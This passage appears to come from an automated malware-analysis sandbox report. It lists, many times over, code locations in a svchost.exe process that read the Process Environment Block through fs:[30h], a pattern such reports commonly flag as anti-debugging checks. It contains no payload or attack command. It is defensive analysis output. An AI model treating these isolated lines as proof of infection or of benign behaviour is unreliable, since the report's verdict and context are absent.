Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B2349 mov eax, dword ptr fs:[00000030h]		1_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372C310 mov ecx, dword ptr fs:[00000030h]		1_2_0372C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03750310 mov ecx, dword ptr fs:[00000030h]		1_2_03750310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376A30B mov eax, dword ptr fs:[00000030h]		1_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376A30B mov eax, dword ptr fs:[00000030h]		1_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376A30B mov eax, dword ptr fs:[00000030h]		1_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374E3F0 mov eax, dword ptr fs:[00000030h]		1_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374E3F0 mov eax, dword ptr fs:[00000030h]		1_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374E3F0 mov eax, dword ptr fs:[00000030h]		1_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037663FF mov eax, dword ptr fs:[00000030h]		1_2_037663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037403E9 mov eax, dword ptr fs:[00000030h]		1_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037403E9 mov eax, dword ptr fs:[00000030h]		1_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037403E9 mov eax, dword ptr fs:[00000030h]		1_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037403E9 mov eax, dword ptr fs:[00000030h]		1_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037403E9 mov eax, dword ptr fs:[00000030h]		1_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037403E9 mov eax, dword ptr fs:[00000030h]		1_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037403E9 mov eax, dword ptr fs:[00000030h]		1_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037403E9 mov eax, dword ptr fs:[00000030h]		1_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE3DB mov eax, dword ptr fs:[00000030h]		1_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE3DB mov eax, dword ptr fs:[00000030h]		1_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE3DB mov ecx, dword ptr fs:[00000030h]		1_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE3DB mov eax, dword ptr fs:[00000030h]		1_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D43D4 mov eax, dword ptr fs:[00000030h]		1_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D43D4 mov eax, dword ptr fs:[00000030h]		1_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037EC3CD mov eax, dword ptr fs:[00000030h]		1_2_037EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A3C0 mov eax, dword ptr fs:[00000030h]		1_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A3C0 mov eax, dword ptr fs:[00000030h]		1_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A3C0 mov eax, dword ptr fs:[00000030h]		1_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A3C0 mov eax, dword ptr fs:[00000030h]		1_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A3C0 mov eax, dword ptr fs:[00000030h]		1_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A3C0 mov eax, dword ptr fs:[00000030h]		1_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037383C0 mov eax, dword ptr fs:[00000030h]		1_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037383C0 mov eax, dword ptr fs:[00000030h]		1_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037383C0 mov eax, dword ptr fs:[00000030h]		1_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037383C0 mov eax, dword ptr fs:[00000030h]		1_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B63C0 mov eax, dword ptr fs:[00000030h]		1_2_037B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03728397 mov eax, dword ptr fs:[00000030h]		1_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03728397 mov eax, dword ptr fs:[00000030h]		1_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03728397 mov eax, dword ptr fs:[00000030h]		1_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372E388 mov eax, dword ptr fs:[00000030h]		1_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372E388 mov eax, dword ptr fs:[00000030h]		1_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372E388 mov eax, dword ptr fs:[00000030h]		1_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375438F mov eax, dword ptr fs:[00000030h]		1_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375438F mov eax, dword ptr fs:[00000030h]		1_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E0274 mov eax, dword ptr fs:[00000030h]		1_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03734260 mov eax, dword ptr fs:[00000030h]		1_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03734260 mov eax, dword ptr fs:[00000030h]		1_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03734260 mov eax, dword ptr fs:[00000030h]		1_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372826B mov eax, dword ptr fs:[00000030h]		1_2_0372826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372A250 mov eax, dword ptr fs:[00000030h]		1_2_0372A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03736259 mov eax, dword ptr fs:[00000030h]		1_2_03736259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037EA250 mov eax, dword ptr fs:[00000030h]		1_2_037EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037EA250 mov eax, dword ptr fs:[00000030h]		1_2_037EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B8243 mov eax, dword ptr fs:[00000030h]		1_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B8243 mov ecx, dword ptr fs:[00000030h]		1_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372823B mov eax, dword ptr fs:[00000030h]		1_2_0372823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037402E1 mov eax, dword ptr fs:[00000030h]		1_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037402E1 mov eax, dword ptr fs:[00000030h]		1_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037402E1 mov eax, dword ptr fs:[00000030h]		1_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A2C3 mov eax, dword ptr fs:[00000030h]		1_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A2C3 mov eax, dword ptr fs:[00000030h]		1_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A2C3 mov eax, dword ptr fs:[00000030h]		1_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A2C3 mov eax, dword ptr fs:[00000030h]		1_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373A2C3 mov eax, dword ptr fs:[00000030h]		1_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037402A0 mov eax, dword ptr fs:[00000030h]		1_2_037402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037402A0 mov eax, dword ptr fs:[00000030h]		1_2_037402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C62A0 mov eax, dword ptr fs:[00000030h]		1_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C62A0 mov ecx, dword ptr fs:[00000030h]		1_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C62A0 mov eax, dword ptr fs:[00000030h]		1_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C62A0 mov eax, dword ptr fs:[00000030h]		1_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C62A0 mov eax, dword ptr fs:[00000030h]		1_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C62A0 mov eax, dword ptr fs:[00000030h]		1_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376E284 mov eax, dword ptr fs:[00000030h]		1_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376E284 mov eax, dword ptr fs:[00000030h]		1_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B0283 mov eax, dword ptr fs:[00000030h]		1_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B0283 mov eax, dword ptr fs:[00000030h]		1_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B0283 mov eax, dword ptr fs:[00000030h]		1_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372C156 mov eax, dword ptr fs:[00000030h]		1_2_0372C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C8158 mov eax, dword ptr fs:[00000030h]		1_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03736154 mov eax, dword ptr fs:[00000030h]		1_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03736154 mov eax, dword ptr fs:[00000030h]		1_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C4144 mov eax, dword ptr fs:[00000030h]		1_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C4144 mov eax, dword ptr fs:[00000030h]		1_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C4144 mov ecx, dword ptr fs:[00000030h]		1_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C4144 mov eax, dword ptr fs:[00000030h]		1_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C4144 mov eax, dword ptr fs:[00000030h]		1_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03760124 mov eax, dword ptr fs:[00000030h]		1_2_03760124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DA118 mov ecx, dword ptr fs:[00000030h]		1_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DA118 mov eax, dword ptr fs:[00000030h]		1_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DA118 mov eax, dword ptr fs:[00000030h]		1_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DA118 mov eax, dword ptr fs:[00000030h]		1_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038061E5 mov eax, dword ptr fs:[00000030h]		1_2_038061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F0115 mov eax, dword ptr fs:[00000030h]		1_2_037F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov eax, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov ecx, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov eax, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov eax, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov ecx, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov eax, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov eax, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov ecx, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov eax, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037DE10E mov ecx, dword ptr fs:[00000030h]		1_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037601F8 mov eax, dword ptr fs:[00000030h]		1_2_037601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037AE1D0 mov eax, dword ptr fs:[00000030h]		1_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037AE1D0 mov eax, dword ptr fs:[00000030h]		1_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037AE1D0 mov ecx, dword ptr fs:[00000030h]		1_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037AE1D0 mov eax, dword ptr fs:[00000030h]		1_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037AE1D0 mov eax, dword ptr fs:[00000030h]		1_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F61C3 mov eax, dword ptr fs:[00000030h]		1_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F61C3 mov eax, dword ptr fs:[00000030h]		1_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B019F mov eax, dword ptr fs:[00000030h]		1_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B019F mov eax, dword ptr fs:[00000030h]		1_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B019F mov eax, dword ptr fs:[00000030h]		1_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B019F mov eax, dword ptr fs:[00000030h]		1_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372A197 mov eax, dword ptr fs:[00000030h]		1_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372A197 mov eax, dword ptr fs:[00000030h]		1_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372A197 mov eax, dword ptr fs:[00000030h]		1_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03770185 mov eax, dword ptr fs:[00000030h]		1_2_03770185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037EC188 mov eax, dword ptr fs:[00000030h]		1_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037EC188 mov eax, dword ptr fs:[00000030h]		1_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D4180 mov eax, dword ptr fs:[00000030h]		1_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D4180 mov eax, dword ptr fs:[00000030h]		1_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375C073 mov eax, dword ptr fs:[00000030h]		1_2_0375C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03732050 mov eax, dword ptr fs:[00000030h]		1_2_03732050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B6050 mov eax, dword ptr fs:[00000030h]		1_2_037B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C6030 mov eax, dword ptr fs:[00000030h]		1_2_037C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372A020 mov eax, dword ptr fs:[00000030h]		1_2_0372A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372C020 mov eax, dword ptr fs:[00000030h]		1_2_0372C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374E016 mov eax, dword ptr fs:[00000030h]		1_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374E016 mov eax, dword ptr fs:[00000030h]		1_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374E016 mov eax, dword ptr fs:[00000030h]		1_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0374E016 mov eax, dword ptr fs:[00000030h]		1_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B4000 mov ecx, dword ptr fs:[00000030h]		1_2_037B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2000 mov eax, dword ptr fs:[00000030h]		1_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2000 mov eax, dword ptr fs:[00000030h]		1_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2000 mov eax, dword ptr fs:[00000030h]		1_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2000 mov eax, dword ptr fs:[00000030h]		1_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2000 mov eax, dword ptr fs:[00000030h]		1_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2000 mov eax, dword ptr fs:[00000030h]		1_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2000 mov eax, dword ptr fs:[00000030h]		1_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2000 mov eax, dword ptr fs:[00000030h]		1_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372C0F0 mov eax, dword ptr fs:[00000030h]		1_2_0372C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037720F0 mov ecx, dword ptr fs:[00000030h]		1_2_037720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372A0E3 mov ecx, dword ptr fs:[00000030h]		1_2_0372A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037380E9 mov eax, dword ptr fs:[00000030h]		1_2_037380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B60E0 mov eax, dword ptr fs:[00000030h]		1_2_037B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B20DE mov eax, dword ptr fs:[00000030h]		1_2_037B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F60B8 mov eax, dword ptr fs:[00000030h]		1_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F60B8 mov ecx, dword ptr fs:[00000030h]		1_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C80A8 mov eax, dword ptr fs:[00000030h]		1_2_037C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373208A mov eax, dword ptr fs:[00000030h]		1_2_0373208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03738770 mov eax, dword ptr fs:[00000030h]		1_2_03738770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03740770 mov eax, dword ptr fs:[00000030h]		1_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03730750 mov eax, dword ptr fs:[00000030h]		1_2_03730750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037BE75D mov eax, dword ptr fs:[00000030h]		1_2_037BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772750 mov eax, dword ptr fs:[00000030h]		1_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772750 mov eax, dword ptr fs:[00000030h]		1_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B4755 mov eax, dword ptr fs:[00000030h]		1_2_037B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376674D mov esi, dword ptr fs:[00000030h]		1_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376674D mov eax, dword ptr fs:[00000030h]		1_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376674D mov eax, dword ptr fs:[00000030h]		1_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376273C mov eax, dword ptr fs:[00000030h]		1_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376273C mov ecx, dword ptr fs:[00000030h]		1_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376273C mov eax, dword ptr fs:[00000030h]		1_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037AC730 mov eax, dword ptr fs:[00000030h]		1_2_037AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376C720 mov eax, dword ptr fs:[00000030h]		1_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376C720 mov eax, dword ptr fs:[00000030h]		1_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03730710 mov eax, dword ptr fs:[00000030h]		1_2_03730710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03760710 mov eax, dword ptr fs:[00000030h]		1_2_03760710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376C700 mov eax, dword ptr fs:[00000030h]		1_2_0376C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037347FB mov eax, dword ptr fs:[00000030h]		1_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037347FB mov eax, dword ptr fs:[00000030h]		1_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037527ED mov eax, dword ptr fs:[00000030h]		1_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037527ED mov eax, dword ptr fs:[00000030h]		1_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037527ED mov eax, dword ptr fs:[00000030h]		1_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037BE7E1 mov eax, dword ptr fs:[00000030h]		1_2_037BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0373C7C0 mov eax, dword ptr fs:[00000030h]		1_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B07C3 mov eax, dword ptr fs:[00000030h]		1_2_037B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037307AF mov eax, dword ptr fs:[00000030h]		1_2_037307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037E47A0 mov eax, dword ptr fs:[00000030h]		1_2_037E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D678E mov eax, dword ptr fs:[00000030h]		1_2_037D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03762674 mov eax, dword ptr fs:[00000030h]		1_2_03762674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F866E mov eax, dword ptr fs:[00000030h]		1_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037F866E mov eax, dword ptr fs:[00000030h]		1_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376A660 mov eax, dword ptr fs:[00000030h]		1_2_0376A660
